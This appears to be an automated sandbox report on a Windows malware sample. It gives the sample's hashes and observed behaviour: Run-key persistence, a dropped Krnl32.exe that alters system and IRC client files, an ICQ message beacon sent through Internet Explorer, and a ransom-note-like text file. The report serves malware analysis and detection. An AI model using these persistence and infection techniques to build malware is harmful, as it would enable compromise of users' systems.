Analysis
-
max time kernel
141s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 02:30
Static task
static1
Behavioral task
behavioral1
Sample
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe
Resource
win10v2004-20240426-en
General
-
Target
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe
-
Size
26KB
-
MD5
7841679a708383a6506f889f6acc6560
-
SHA1
5fd0854563ff26d8772350d21e23d2bd0e3ce8dd
-
SHA256
272b3b434db2ba30b84a82b449118df53a1cbecfe56f7d8fde85217832ca7dea
-
SHA512
65ace7ac401c60ecb6d0d1bd160a0e7c6e47d741a90ef118dba56d852cf76721eabeeb2322684df376699b6be87be52f3950d34805fa840a72bd26bdb74067ef
-
SSDEEP
768:qq3G3q83wdv7GLGS1R9TNoINEx9jnhwrg:Jkq83wdv7Gt+
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exeKrnl32.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation Krnl32.exe -
Executes dropped EXE 1 IoCs
Processes:
Krnl32.exepid process 3692 Krnl32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exeKrnl32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WinKernel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe" 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WinKernel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Krnl32.exe" Krnl32.exe -
Drops file in System32 directory 64 IoCs
Processes:
Krnl32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\fsquirt.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cipher.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmdl32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cscript.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\driverquery.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\eudcedit.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\choice.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\backgroundTaskHost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dplaysvr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\fontview.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\forfiles.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dtdump.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\EhStorAuthn.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\extrac32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmd.exe Krnl32.exe File created C:\Windows\SysWOW64\cmmon32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmstp.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\compact.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ComputerDefaults.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ftp.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\GamePanel.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dxdiag.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\autoconv.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cacls.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmdkey.exe Krnl32.exe File created C:\Windows\SysWOW64\dialer.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\fsutil.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cliconfg.exe Krnl32.exe File created C:\Windows\SysWOW64\cmstp.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dllhst3g.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\bitsadmin.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\chkntfs.exe Krnl32.exe File created C:\Windows\SysWOW64\dvdplay.exe Krnl32.exe File created C:\Windows\SysWOW64\GamePanel.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\appidtel.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CameraSettingsUIHost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ctfmon.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\explorer.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dcomcnfg.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\doskey.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\fontdrvhost.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\clip.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\bthudtask.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dccw.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dfrgui.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\diskperf.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\at.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\CheckNetIsolation.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\chkdsk.exe Krnl32.exe File created C:\Windows\SysWOW64\cscript.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\ddodiag.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\eventvwr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\fixmapi.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\regedit.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\certutil.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cleanmgr.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\Com\comrepl.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\dvdplay.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\agentactivationruntimestarter.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\calc.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\attrib.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\cmmon32.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\DpiScaling.exe Krnl32.exe File opened for modification C:\Windows\SysWOW64\findstr.exe Krnl32.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Krnl32.exedescription ioc process File opened for modification C:\Program Files\mirc\script.ini Krnl32.exe File opened for modification C:\Program Files\mirc\ \.dcc send $nick Krnl32.exe File opened for modification C:\Program Files\pirch98\pirch98.ini Krnl32.exe File opened for modification C:\Program Files\pirch98\events.ini Krnl32.exe -
Drops file in Windows directory 44 IoCs
Processes:
Krnl32.exedescription ioc process File opened for modification C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Win32WebViewHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\PeopleExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Microsoft.AAD.BrokerPlugin.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\AccountsControlHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\BioEnrollmentHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\Microsoft.ECApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\AppResolverUX.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\CapturePicker.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\XBox.TCUI.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\XGpuEjectDialog.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\NcsiUwpApp_8wekyb3d8bbwe\NcsiUwpApp.exe Krnl32.exe File opened for modification C:\Windows\Boot\PCAT\memtest.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\AddSuggestedFoldersToLibraryDialog.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\OOBENetworkCaptivePortal.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\FileExplorer.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\WpcUapApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Krnl32.exe File opened for modification C:\Windows\bfsvc.exe Krnl32.exe File created C:\Windows\hh.exe Krnl32.exe File opened for modification C:\Windows\sysmon.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\AssignedAccessLockApp.exe Krnl32.exe File opened for modification C:\Windows\hh.exe Krnl32.exe File opened for modification C:\Windows\splwow64.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\FilePicker.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe Krnl32.exe File opened for modification C:\Windows\HelpPane.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\CallingShellApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\OOBENetworkConnectionFlow.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\CameraBarcodeScannerPreview.exe Krnl32.exe File opened for modification C:\Windows\notepad.exe Krnl32.exe File opened for modification C:\Windows\servicing\TrustedInstaller.exe Krnl32.exe File opened for modification C:\Windows\Speech\Common\sapisvr.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\Microsoft.AsyncTextService.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\ScreenClipping\ScreenClippingHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy\UndockedDevKit.exe Krnl32.exe File opened for modification C:\Windows\explorer.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\CredDialogHost.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe Krnl32.exe File opened for modification C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\PinningConfirmationDialog.exe Krnl32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
Iexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31108281" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1180710772" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31108281" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\DomainSuggestion Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0a0aa48b9acda01 Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1181558882" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Main Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{71EEB87A-18AC-11EF-B865-46C99DBF4093} = "0" Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31108281" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31108281" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000150dfb3d7d297149b53fa5015b24f84400000000020000000000106600000001000020000000143fc35ed11b9a1c39d058e41e2d03942f302fdb2f2107aba97b2599d65a8e38000000000e8000000002000020000000fa46d1f355e78500f11e92b98f632702de4d5602c7164f42ae5bed5ebe8755502000000031d479c526cac12fe821f935bed878f5fa5ca45c8066fc9de20b5b7ca988be71400000006c044e9c6af15bd4e2bf543a0be8225bb6f4d60180615b72a84e89309e7865bf28a76c793dc743adc7bdd30da0e44c6e34977ee79c23448e4eff3faa6873eb63 Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000150dfb3d7d297149b53fa5015b24f844000000000200000000001066000000010000200000004a2a4decbca601f4aabc67315f3adb3a7dacc5a64e3dc4fbeb288b6b16a4764c000000000e8000000002000020000000d2fa7f1d50908faefba8e19881c59054386b538a3f586ba56e73b2b0749ad25020000000adf80b9ef8ebf474bd5beb80d90b4ae374b82dcba13702665fea1fc7abeafe3d40000000c56dd9df15a00055abef00b98dd033431d2434a86b85a98e30103ce424313daecfbe9105364d94e7b611b4c6df6ae38706e839b6d29bdb40b2aec668baaf1b70 Iexplore.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" Iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c02fa848b9acda01 Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" Iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Software\Microsoft\Internet Explorer\VersionManager Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1180710772" Iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1181558882" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "423196414" Iexplore.exe -
Modifies registry class 2 IoCs
Processes:
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-711569230-3659488422-571408806-1000\{39DD21E4-0FBF-4E68-AC36-86DCEF644A86} IEXPLORE.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 1472 NOTEPAD.EXE -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
IEXPLORE.EXEdescription pid process Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE Token: SeShutdownPrivilege 3504 IEXPLORE.EXE Token: SeCreatePagefilePrivilege 3504 IEXPLORE.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
Iexplore.exepid process 2628 Iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
Iexplore.exeIEXPLORE.EXEpid process 2628 Iexplore.exe 2628 Iexplore.exe 3504 IEXPLORE.EXE 3504 IEXPLORE.EXE 3504 IEXPLORE.EXE 3504 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
7841679a708383a6506f889f6acc6560_NeikiAnalytics.exeKrnl32.exeIexplore.exedescription pid process target process PID 5444 wrote to memory of 3692 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Krnl32.exe PID 5444 wrote to memory of 3692 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Krnl32.exe PID 5444 wrote to memory of 3692 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe Krnl32.exe PID 5444 wrote to memory of 1472 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe NOTEPAD.EXE PID 5444 wrote to memory of 1472 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe NOTEPAD.EXE PID 5444 wrote to memory of 1472 5444 7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe NOTEPAD.EXE PID 3692 wrote to memory of 2628 3692 Krnl32.exe Iexplore.exe PID 3692 wrote to memory of 2628 3692 Krnl32.exe Iexplore.exe PID 2628 wrote to memory of 3504 2628 Iexplore.exe IEXPLORE.EXE PID 2628 wrote to memory of 3504 2628 Iexplore.exe IEXPLORE.EXE PID 2628 wrote to memory of 3504 2628 Iexplore.exe IEXPLORE.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\7841679a708383a6506f889f6acc6560_NeikiAnalytics.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Krnl32.exe"C:\Users\Admin\AppData\Local\Temp\Krnl32.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\Iexplore.exe"C:\Program Files\Internet Explorer\Iexplore.exe" http://wwp.icq.com/scripts/WWPMsg.dll?from=M4TrIx&fromemail=_&subject=MATRIX&body=THE%20MATRIX%20HAS%20COME...&to=90012647%20HTTP/1.03⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2628 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\HELPME.TXT2⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
471B
MD501409a92b179c99711ea8c28d307d0c4
SHA1a9cc2b0c5727e2af14819f3908c4693f8e891392
SHA2563034962a4c308ef5e66a2de7faf1ed2439b7e59086a8c07ad59ce3669b8ee01c
SHA5128e86173a54d253f3e05443c603222b9018d63a3fb8e3a26b2b5602c083c07b117d5c53ede08056b6aa4503380562444c6704de32b2cce76f146478616b7278c9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
404B
MD5d6df6b046a165f08fd0b48a6ec94aafd
SHA17e06a5b1c56e12880e376ea101212b7ea52a2a52
SHA2565e13e17826fa1eddb782741fe2e6e9730e2831eca71da564872ea911254c6c1a
SHA5122ea25a21970a3936a048c690376a3194e62219b3309bb8b800b72aaccb2de09c69900ee2f5722daf697d5f33e3529aa53016f8645effdf543baa258a4f1c5718
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver7431.tmpFilesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\zm934n9\imagestore.datFilesize
4KB
MD56970f848f33eb1ceefae13d30f9d2001
SHA1499ced1b869845448d219e801b5542b2c4634bc1
SHA256f02d07a6583d37298cf04ffa9d735573749556459fa62b1043a5360487d06d33
SHA512f8039d0ec5f374310628bb162c2ff304b7715cedf30ff3ff9f9807decc924ad6dced730d317b5aee5553498b563e2cd1d219b97a4a4983771c12442103254890
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\79ZXHV21\en[1].htmFilesize
62KB
MD5d8db562dd4b19b7d1dec71cee88fe513
SHA1f8374927d7205976f2e63cdbe9d482902e203c3b
SHA256f94ad6af48f4c786bf3644818a8926efbe57b12a9379f41b26f31b90ba6de7f0
SHA5120dd3299f8f24ef9b9b838f33dbfe07215e1f460df2c5dfeb2500766449feb7786564b74503f15ecc145bdbaf742e8df9cfc26aadb13385e3a6d0d190a8717e55
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\CMMYN4JX\icon_web_60[1].pngFilesize
4KB
MD5e9dbf6c742169ea700f8386bf639911b
SHA12fce93e1b217283c3d7c8ef275748ad69f840815
SHA2563ce3371ecd679c4e218474046aa2a2ab067dbac5370b983aa8e7d91b208d816b
